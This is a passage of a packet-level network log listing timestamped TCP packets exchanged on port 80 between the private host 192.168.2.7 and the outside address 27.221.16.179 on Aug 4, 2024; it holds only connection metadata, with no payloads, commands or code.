Aug 4, 2024 10:57:57.496524096 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496531963 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496572018 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496606112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496622086 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496642113 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496675968 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496695042 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496714115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496747971 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496762037 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.496783018 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.496835947 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.497004032 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497037888 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497056961 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497098923 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497102022 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.497133970 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497169971 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.497169971 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497205973 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497231007 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.497260094 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497292042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497308969 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.497327089 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497361898 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497375965 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.497405052 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.497452974 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.501729965 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.501754999 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.501768112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.501781940 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.501797915 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.501810074 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.501810074 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.501838923 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.501848936 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.854898930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.854918957 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.854933023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.854962111 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.854979038 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.854995012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855036020 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855096102 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855099916 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855110884 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855128050 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855143070 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855158091 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855174065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855175972 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855185032 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855191946 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855207920 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855241060 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855294943 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855499029 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855515003 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855530024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855544090 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855559111 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855575085 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855582952 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855582952 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855602026 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855618000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855632067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855643988 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855648041 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855664968 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855679989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855698109 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855705976 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855705976 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855725050 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855741024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855756044 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855763912 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855763912 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855772972 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855792046 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855813980 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855890989 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.855901003 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855916023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855931997 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.855978966 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856025934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856040001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856055975 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856077909 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856093884 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856097937 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856097937 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856110096 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856127024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856142998 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856159925 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856159925 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856237888 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856255054 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856268883 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856286049 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856303930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856312990 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856340885 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856340885 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:57.856385946 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856403112 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:57.856456995 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192265987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192306042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192317009 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192328930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192342043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192353964 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192367077 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192379951 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192403078 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192403078 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192435980 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192449093 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192461967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192502975 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192502975 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192604065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192666054 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192677975 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192696095 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192754030 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192775011 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192898989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192910910 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192945957 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.192951918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192970991 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.192992926 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193002939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193015099 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193027020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193037987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193043947 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193043947 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193052053 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193072081 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193072081 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193139076 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193150997 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193164110 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193207026 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193226099 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193253040 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193264961 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193275928 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193300962 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193340063 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193340063 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193367958 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193381071 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193392992 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193423033 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193455935 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193468094 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193521976 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193617105 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193628073 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193640947 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193656921 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193682909 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193695068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193700075 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193707943 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193746090 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193820000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193831921 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193844080 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193856001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193861008 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193870068 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193883896 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.193895102 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.193908930 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194066048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194113970 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194125891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194190025 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194200993 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194212914 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194225073 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194237947 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194262028 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194288969 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194391966 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194403887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194415092 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194427967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194438934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194452047 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194461107 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194461107 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194466114 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194482088 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194495916 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194515944 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194593906 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194602013 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194606066 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194720984 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194730997 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194732904 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194746017 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194758892 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194771051 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194783926 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.194797039 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194797039 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.194823027 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541210890 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541239977 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541254044 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541270971 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541286945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541301012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541313887 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541377068 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541410923 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541424990 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541474104 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541485071 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541497946 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541510105 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541523933 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541539907 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541568995 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541568995 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541635036 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541647911 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541691065 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541702032 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541703939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541721106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541734934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541745901 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541749001 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541768074 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541795969 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541883945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541897058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541908979 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541924000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541939020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541951895 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.541954041 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541999102 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.541999102 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542026043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542130947 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542143106 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542156935 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542170048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542181015 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542191982 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542196989 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542196989 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542205095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542218924 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542231083 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542237997 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542237997 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542309999 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542359114 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542375088 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542386055 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542397976 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542412043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542413950 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542439938 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542496920 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542509079 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542521000 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542536020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542551994 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542562008 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542582035 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542623997 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542654991 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542668104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542685032 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542705059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542721033 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542722940 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542735100 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542749882 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542752981 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542781115 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.542975903 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.542994976 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543008089 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543020010 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543034077 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543042898 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543042898 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543050051 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543064117 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543076992 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543092012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543104887 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543106079 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543106079 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543118954 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543132067 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543144941 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543153048 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543153048 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543176889 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543298006 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543311119 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543322086 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543361902 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543361902 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543378115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543390036 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543432951 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543432951 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:58.543514967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543526888 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543538094 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543550014 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:58.543561935 CEST	80	49757	27.221.16.179	192.168.2.7
